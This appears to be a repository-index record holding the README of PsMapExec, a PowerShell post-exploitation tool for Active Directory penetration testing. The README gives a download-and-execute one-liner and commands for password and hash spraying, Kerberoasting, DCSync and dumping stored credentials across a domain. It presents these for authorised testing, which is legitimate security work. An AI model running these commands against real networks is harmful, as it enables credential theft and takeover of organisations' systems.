{"id":26896868,"url":"https://github.com/The-Viper-One/PsMapExec","last_synced_at":"2025-04-01T04:02:20.254Z","repository":{"id":179007514,"uuid":"656298951","full_name":"The-Viper-One/PsMapExec","owner":"The-Viper-One","description":"Dominate Active Directory with PowerShell. Inspired by CrackMapExec / NetExec.","archived":false,"fork":false,"pushed_at":"2025-03-11T14:38:50.000Z","size":16207,"stargazers_count":950,"open_issues_count":2,"forks_count":109,"subscribers_count":8,"default_branch":"main","last_synced_at":"2025-03-27T03:04:23.002Z","etag":null,"topics":["active-directory","crackmapexec","hacking","lateral-movement","mimikatz","netexec","pentesting","powershell","rdp","sam","spraying","vnc"],"latest_commit_sha":null,"homepage":"https://viperone.gitbook.io/pentest-everything/psmapexec","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/The-Viper-One.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null},"funding":{"ko_fi":"viperone"}},"created_at":"2023-06-20T16:57:27.000Z","updated_at":"2025-03-26T16:30:20.000Z","dependencies_parsed_at":null,"dependency_job_id":"cbdbb4d4-e258-44ff-88b9-7b9229742ac0","html_url":"https://github.com/The-Viper-One/PsMapExec","commit_stats":null,"previous_names":["the-viper-one/psmapexec"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FPsMapExec","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FPsMapExec/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FPsMapExec/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FPsMapExec/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/The-Viper-One","download_url":"https://codeload.github.com/The-Viper-One/PsMapExec/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246580467,"owners_count":20800111,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["active-directory","crackmapexec","hacking","lateral-movement","mimikatz","netexec","pentesting","powershell","rdp","sam","spraying","vnc"],"created_at":"2025-04-01T04:02:18.934Z","updated_at":"2025-04-01T04:02:20.243Z","avatar_url":"https://github.com/The-Viper-One.png","language":"PowerShell","readme":"## What is PsMapExec\n\n\n\u003cp align=\"Center\"\u003e\n\u003cimg src=\"https://github.com/The-Viper-One/PsMapExec/assets/68926315/14770c85-b751-4127-8261-2e49ff25a8ad\" width=\"280\" height=\"280\"\u003e\n\u003c/p\u003e\n\nA PowerShell tool heavily inspired by the popular tool CrackMapExec / NetExec. PsMapExec aims to bring the function and feel of these tools to PowerShell with its own arsenal of improvements. \n\nPsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment. \n\nFor any feedback or suggestions for additions to PsMapExec please use the discussion forum: \n- https://github.com/The-Viper-One/PsMapExec/discussions\n\n## How do I use it\n\nIt is highly recommended to go through the documentation listed below to get the most out of PsMapExec. If you do not feel like reading the documentation then simply go to the Usage section further down this document.\n* https://viperone.gitbook.io/pentest-everything/psmapexec\n* https://viperone.gitbook.io/pentest-everything/psmapexec/target-acquisition\n* https://viperone.gitbook.io/pentest-everything/psmapexec/using-credentials\n* https://viperone.gitbook.io/pentest-everything/psmapexec/methods\n* https://viperone.gitbook.io/pentest-everything/psmapexec/modules\n\n\n## What methods does it support\n\nCurrently supported methods (Protocols)\n\n| Method           | Description                                      |\n|------------------|--------------------------------------------------|\n| [DCSync](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/dcsync)|DCSync |\n| [IPMI](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/ipmi)|Dump IPMI hashes|\n| [Kerberoast](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/kerberoast) |Kerberoast accounts|\n| [MSSQL](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/mssql)|Check access, run commands|\n| RDP             | Check access|\n| [SMB](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/command-execution)|Check access, run commands|\n| [GenRelayList](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/genrelaylist-smb-signing)|Check SMB signing status|\n| [Spray](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/spray)|Spray passwords and hashes|\n| [SessionHunter](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/session-hunter)|Check access, run commands|\n| VNC         |Check no auth access|\n| [WinRM](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/command-execution)|Check access, run commands|\n| [WMI](https://viperone.gitbook.io/pentest-everything/psmapexec/methods/command-execution)|Check access, run commands|\n\n### Supported Modules\n\n| Module           | Description                                      |\n|------------------|--------------------------------------------------|\n| [Amnesiac](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/amnesiac)|Executes Amnesiac C2 payloads|\n| [ConsoleHistory](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/consolehistory)|Dumps PowerShell console history|\n| [Files](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/files)|Lists files in common directories for each user|\n| [FileZilla](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/filezilla)|Dumps Filezilla credentials\n| [KerbDump](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/kerbdump)|Dumps Kerberos tickets|\n| [eKeys](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/ekeys)|Dumps encryption keys from memory (Mimikatz)|\n| [LogonPasswords](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/logonpasswords)|Dumps logon passwords from memory (Mimikatz)|\n| [LSA](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/lsa)|Dumps LSA (Mimikatz)|\n| [MDF](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/mdf)|Dumps MSSQL database hashes|\n| [NTDS](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/ntds) |Executes DCsync on the remote system|\n| [Notepad](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/notepad) |Dumps notepad backup files\n| [NTLM](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/ntlm) |Grabs a NTLM hash for each user logon session|\n| [SAM](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/sam)|Dumps SAM hashes|\n| [SCCM](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/sccm) |Dumps local NAA credentials and task sequences|\n| [SessionExec](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/SessionExec) |Executes commands under each user logon session|\n| [SessionRelay](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/SessionRelay) |Relay NTLM hashes under each user logon session|\n| [TGTDeleg](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/TGTDeleg) |Grab a fresh TGT under each user logon session|\n| [VNC](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/vnc) | Dumps VNC credentials\n| [Wi-Fi](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/wi-fi) | Dumps Wi-Fi credentials\n| [WinSCP](https://viperone.gitbook.io/pentest-everything/psmapexec/modules/winscp) | Dumps  WinSCP credentials\n\n\n\n  \n## Usage\n### Load the script directly into memory\n```powershell\nIEX(New-Object System.Net.WebClient).DownloadString(\"https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1\")\n```\n### Quick examples\n```bash\n# Execute WMI commands over all systems in the domain using password authentication\n PsMapExec -Targets all -Method WMI -Username Admin -Password Pass -Command whoami\n\n# Execute WinRM commands over all systems in the domain using hash authentication\nPsMapExec -Targets all -Method WinRM -Username Admin -Hash [Hash] -Command whoami\n\n# Check RDP Access against workstations in the domain and using local authentication\nPsMapExec -Targets Workstations -Method RDP -Username LocalAdmin -Password Pass -LocalAuth\n \n# Dump SAM on a single system using SMB and a -ticket for authentication\nPsMapExec -Targets DC01.Security.local -Method SMB -Ticket [Base64-Ticket] -Module SAM\n\n# Check SMB Signing on all domain systems\nPsMapExec -Targets All -Method GenRelayList\n\n# Dump LogonPasswords on all Domain Controllers over WinRM\nPsMapExec -Targets DCs -Method WinRM -Username Admin -Password Pass -Module LogonPasswords\n\n# Use WMI to check current user admin access from systems read from a text file\nPsMapExec -Targets C:\\temp\\Systems.txt -Method WMI\n\n# Spray passwords across all accounts in the domain\nPsMapExec -Method Spray -SprayPassword [Password]\n\n# Spray Hashes across all accounts in the domain that have AdminCount=1\nPsMapExec -Targets \"AdminCount=1\" -Method Spray -SprayHash [Hash]\n\n# Spray Hashes across all Domain Admin group users\nPsMapExec -Targets \"Domain Admins\" -Method Spray -SprayHash [Hash]\n\n# Kerberoast \nPsMapExec -Method Kerberoast -ShowOutput\n\n# IPMI\nPsMapExec -Targets 192.168.1.0/24 -Method IPMI\n```\n\n### Targets Acquisition\nTarget acquisition through PsMapExec is utilized through ADSI Searcher. As long as you are operating from a domain joined system as a domain user account, no issues should be encountered when acquiring targets.\nBy default only enabled Active Directory computer accounts are populated into the target list. PsMapExec will set the Domain to the current user domain unless -Domain is specified.\nIP address targeting is less preffered than using the built in ldap queries.\n```bash\n# All workstations, servers and domain controllers within the domain\nPsMapExec -Targets All\n\n# All workstations, servers and domain controllers on the specified domain\nPsMapExec -Targets All -Domain [Domain]\n\n# Only servers from the domain (exluding DCs)\nPsMapExec -Targets Servers\n\n# Only Domain Controllers from the domain\nPsMapExec -Targets DCs\n\n# Only workstations from the domain\nPsMapExec -Targets Workstations\n\n# Set the target values to a defined computer name\nPsMapExec -Targets DC01.Security.local\n\n# Read targets from file\nPsMapExec -Targets \"C:\\Targets.txt\"\n\n# Wildcard filtering\nPsMapExec -Targets SRV*\n\n# Single IP Address\nPsMapExec -Targets 192.168.56.11\n\n# CIDR Range\nPsMapExec -Targets 192.168.56.0/24\n```\n### Authentication Types\nWhen  -Command and -Module are omitted, PsMapExec will simply check the provided or current user credentials against the specified target systems for administrative access over the specified method.\n```powershell\n# Current user\nPsMapExec -Targets All -Method [Method]\n\n# With Password\nPsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]\n\n# With Hash\nPsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256/NTLM]\n\n# With Ticket\nPsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]\n\n# Local Authentication (WMI only)\nPsMapExec -Targets All -Method WMI -LocalAuth\n```\n### Command Execution\nAll currently supported command execution methods support the -Command  parameter. The command parameter can be appended to the above Authentication Types to execute given commands as a specified or  the current user.\n```powershell\nPsMapExec -Targets All -Method [Method] -Command [Command]\n```\n\n### Module Execution\nAll currently supported command execution methods support the -Module  parameter. The module parameter can be appended to the Authentication Types to execute given modules as a specified or the current user. \n```powershell\nPsMapExec -Targets All -Method [Method] -Module [Module]\n```\nA list of modules is linked below in the Detailed Usage section.\n\n## Detailed Usage\n* https://viperone.gitbook.io/pentest-everything/psmapexec\n* https://viperone.gitbook.io/pentest-everything/psmapexec/using-credentials\n* https://viperone.gitbook.io/pentest-everything/psmapexec/methods\n* https://viperone.gitbook.io/pentest-everything/psmapexec/modules\n* https://viperone.gitbook.io/pentest-everything/psmapexec/spray\n\n\n## Acknowledgements\n* https://github.com/Leo4j (A good friend and excellent pentester who has helped me with the code)\n* https://github.com/GhostPack/Rubeus\n* https://github.com/gentilkiwi/mimikatz\n* https://github.com/OneScripter/WmiExec\n* https://github.com/MzHmO/PowershellKerberos\n* https://github.com/Kevin-Robertson/Inveigh\n* https://github.com/Mayyhem/SharpSCCM\n* https://github.com/tmenochet\n* https://github.com/elnerd/Get-NetNTLM\n* https://github.com/danielbohannon/Invoke-Obfuscation\n\n## Dependencies\nSince version 0.6.0 PsMapExec now no longer has any external script dependencies apart from the Amnesiac module which will be resolved in a future update.\nPsMapExec can now, otherwise be run in restricted environments such as exam labs or CTF machines.\n\n\n# Disclaimer\nPsMapExec is designed primarily for research, educational, and authorized testing scenarios. The purpose of developing and distributing PsMapExec is to provide professionals and researchers with a tool to understand and identify vulnerabilities and to bolster the security of systems. It is fundamentally imperative that users ensure they have obtained explicit, mutual consent from all involved parties before applying this tool on any system, network, or digital environment.\n\nEngaging in unauthorized activities, including, but not limited to, accessing systems without permission, can lead to severe legal consequences. Users must be fully aware of, and adhere to, all their jurisdictional, local, state, and federal laws and regulations concerning cybersecurity and digital access.\n\nThe developers and contributors of PsMapExec expressly disclaim all liabilities and responsibilities for any unauthorized or illicit use of the tool. Additionally, they are not responsible for any consequent damages, losses, or repercussions stemming from the misuse or misapplication of PsMapExec.\n\n","funding_links":["https://ko-fi.com/viperone"],"categories":["PowerShell"],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FThe-Viper-One%2FPsMapExec","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FThe-Viper-One%2FPsMapExec","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FThe-Viper-One%2FPsMapExec/lists"}